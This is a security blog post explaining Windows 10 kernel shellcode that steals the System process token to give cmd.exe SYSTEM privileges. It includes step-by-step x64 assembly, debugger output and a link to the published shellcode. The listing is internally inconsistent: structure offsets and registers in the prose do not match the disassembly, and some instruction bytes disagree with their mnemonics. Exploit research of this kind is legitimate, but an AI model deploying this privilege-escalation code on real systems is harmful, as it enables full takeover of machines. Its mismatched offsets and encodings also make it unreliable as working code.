Are you under attack?
Call +4591959595 or click here.

February 27, 2017

WINDOWS KERNEL SHELLCODE ON WINDOWS 10 – PART 1

Morten Schenk · IT-sikkerhed

When creating Windows kernel exploits the goal is often to somehow gain higher privileges, often SYSTEM. This part of the exploit writing is normally the very last part, and often not very discussed since so many steps come before it. The most common ways I've seen that done are either by stealing a process token of a privileged process or by removing the ACL of a privileged process. In essence, the techniques I normally come across and use myself are derived and often referenced from the Black Hat presentation by Cesar Cerrudo in 2012. It is a great presentation and white paper and should definitely be read. There are however two issues when trying to use the methods from the white paper; firstly, it does not supply the actual shellcode only the technique in theory and secondly, it was written prior to the release of Windows 8.1 much less Windows 10.

Since this is an area that is often not given much attention, I wanted to explore it in-depth and discover whether the three methods described by Cesar Cerrudo still work on Windows 10 Anniversary Edition. Furthermore, I wanted to develop the actual shellcode to run for each of them and document any changes which might be needed for each of them on Windows 10.

To recap the highlight of the whitepaper, Cesar describes three methods:

- Replacing process token.
- Nulling out ACLs.
- Enabling privileges.

In this blog post I will explore how to replace the process token and gain SYSTEM privileges, the other two methods will be explored in upcoming blog posts.

Replacing the process token is one of the two methods I see most often, as Cesar explains the idea is to find a privileged process and copy the token of that process to the current process. There are a lot of dangers of causing a bug check with this method if any privileged process is chosen, hence the system process is normally used since the reference counter on that is so high it most likely will not cause any problems. The method described in the whitepaper is still valid if the exploited process is not running in a sandbox, which is sadly often the case. Because of this some changes need to be made, the main idea is still valid, however.

To iterate the idea is as follows:

- Find the EPROCESS address of the current process.
- Find the EPROCESS address of the SYSTEM process.
- Copy token of SYSTEM process to the current process.
- Perform actions requiring SYSTEM privileges.

Since I most often develop my kernel exploits for proof of concept and not weaponization I compile them to EXE's and launch them directly from cmd.exe on the target instead of through the browser. I still like to make sure they would work from Low Integrity or AppContainer however. But since the exploit normally exits after performing its duties I would like the cmd.exe process to gain the elevated rights instead of the process the actual exploits runs in.

The following assumes that the exploit as gained arbitrary kernel mode code execution and we can handcraft the assembly code to run. Although this might sound unlikely to some, it isn't. Even on the upcoming Creators Edition of Windows 10, there are multiple ways to achieve this if a write-what-where vulnerability is found. I hope to be able to present several new techniques at Black Hat USA myself.

The Shellcode

With all of the preconditions out of the way, let us tackle the four problems listed earlier. First, we need to locate the EPROCESS of the current process, we can do this by first finding the KTHREAD of the process since this is located at offset 0x188 in the GS segment. Then we can find a pointer to the KPROCESS at offset 0x220 of the KTHREAD as shown below:

```
kd> dt _KTHREAD Process
nt!_KTHREAD
   +0x220 Process : Ptr64 _KPROCESS
```

Which means the address of the EPROCESS for the current process may be found through the following assembly instructions:

```
mov r9, qword ptr gs:[188h]
mov r9, qword ptr [r9 + 220h]
```

Since I like to transfer the permissions to cmd.exe an additional step actually arises, finding the EPROCESS of cmd.exe. To do this we use the process ID, since it is the parent process of the exploit application it can be found through:

```
kd> dt _EPROCESS ffffad8e28c32080 InheritedFromUniqueProcessId
nt!_EPROCESS
   +0x3e0 InheritedFromUniqueProcessId : 0x00000000`000002b4 Void
kd> ? 2b4
Evaluate expression: 692 = 00000000`000002b4
```

Which means that offset 0x3EO in the current process' EPROCESS is the PID of cmd.exe, this is captured through:

```
mov r8, qword ptr [r9 + 3e0h]
```

Now to find the EPROCESS address of another process we notice the following structure:

```
kd> dt _EPROCESS ffffad8e28c32080
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 RundownProtect   : _EX_RUNDOWN_REF
   +0x2e8 UniqueProcessId  : 0x00000000`00000370 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xfffff800`bc1073d0 - 0xffffad8e`2816baf0 ]
```

This means that the PID of the process is at offset 0x2E8 of the EPROCESS and that at offset 0x2F0 we have a linked list of all the EPROCESS's, it is then possible to loop though them looking for the PID of cmd.exe:

```
mov rax, r9
loop1:
mov rax, qword ptr [rax + 2f0h]
sub rax, 2f0h
cmp qword ptr [rax + 2e8h], r8
jne loop1
```

Once this is done we want to find the address of the token, since this is what we want to replace. It is located at offset 0x358 as seen below:

```
kd> dt _EPROCESS ffffad8e28c32080 Token
nt!_EPROCESS
   +0x358 Token : _EX_FAST_REF
```

So, we make sure to store that address before going onwards:

```
mov rcx, rax
add rcx, 358h
```

Now we have found the EPROCESS of cmd.exe, the process we want to gain SYSTEM privileges. Now we need to find the EPROCESS of the System process. Since the System process always has a PID of 4 we can find it in the same way:

```
mov rax, r9
loop2:
mov rax, qword ptr [rax + 2f0h]
sub rax, 2f0h
cmp qword ptr [rax + 2e8h], 4
jne loop2
mov rdx, rax
add rdx, 358h
```

This gives us the address of the EPROCESS for the System process. The next step is to replace the token of the cmd.exe process. This is simply done by overwriting the existing token:

```
mov rdx, qword ptr [rdx]
mov qword ptr [rcx], rdx
```

Remembering that RDX contains offset 0x358 of the EPROCESS address of the System process and RCX contains offset 0x358 of the EPROCESS address of cmd.exe. Executing the actual shellcode looks like:

```
kd> u rip l14
fffff800`bdc560f0 654c8b0c2588010000 mov   r9,qword ptr gs:[188h]
fffff800`bdc560f9 4d8b8920020000  mov     r9,qword ptr [r9+220h]
fffff800`bdc56100 4d8b81e8030000  mov     r8,qword ptr [r9+3E8h]
fffff800`bdc56107 498bc1          mov     rax,r9
fffff800`bdc5610a 488b8020020000  mov     rax,qword ptr [rax+2F0h]
fffff800`bdc56111 482d00020000    sub     rax,2F0h
fffff800`bdc56117 4c3980e8020000  cmp     qword ptr [rax+2E8h],r8
fffff800`bdc5611e 75ea            jne     fffff800`bdc5610a
fffff800`bdc56120 498bc1          mov     rcx,r9
fffff800`bdc56123 4981c158030000  add     rcx,358h
fffff800`bdc5612a 498bc1          mov     rax,r9
fffff800`bdc5612d 488b8020020000  mov     rax,qword ptr [rax+2F0h]
fffff800`bdc56134 482d00020000    sub     rax,2F0h
fffff800`bdc5613a 4839b8e8020000 4 cmp     qword ptr [rax+2E8h],4
fffff800`bdc56142 75e9            jne     fffff800`bdc5612d
fffff800`bdc56144 488bd0          mov     rdx,rax
fffff800`bdc56147 4881c258030000  add     rdx,358h
fffff800`bdc5614e 488b12          mov     rdx,qword ptr [rdx]
fffff800`bdc56151 488911          mov     qword ptr [rcx],rdx
fffff800`bdc56154 c3              ret
```

With the expected result:

```
C:\test>whoami
nt authority\system
```

This shellcode is 100% stable and grants the parent process, or if modified the executing process, SYSTEM privileges. That concludes the first blog post, the shellcode may be found at the following Github: https://github.com/MortenSchenk/Token-Stealing-Shellcode

❤ 9 Likes < Share

Newer Post
Windows Kernel Shellcode on Windows 10 – Part 2

Older Post
Bagdøre og datakompromittering via backupsystemer

GET IN TOUCH TODAY FOR A SAFER TOMORROW...

CONTACT IMPROSEC

ACCREDITED BY TRUSTED INTRODUCER

Part of itm8

Improsec A/S • Amagerfælledvej 106, 3. • 2300 Copenhagen S • Telefon: (+45) 5357 5337 • E-mail: info@improsec.com